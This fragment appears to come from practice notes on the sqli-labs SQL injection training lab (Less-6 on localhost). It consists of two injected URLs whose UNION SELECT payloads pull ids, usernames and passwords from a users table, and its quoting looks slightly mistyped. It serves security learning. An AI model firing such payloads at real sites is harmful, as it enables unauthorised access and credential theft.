http://localhost/sqli-labs/Less-6/?id=1哈哈“ union select 1,2,concat_ws(char(32,58,32),id,username,password) from users limit 1,1 -- k http://localhost/sqli-labs/Less-6/?id=1哈哈“ union select 1,2,concat_ws(char(32,58,32),id,username,password) from users limit 1,1 and ...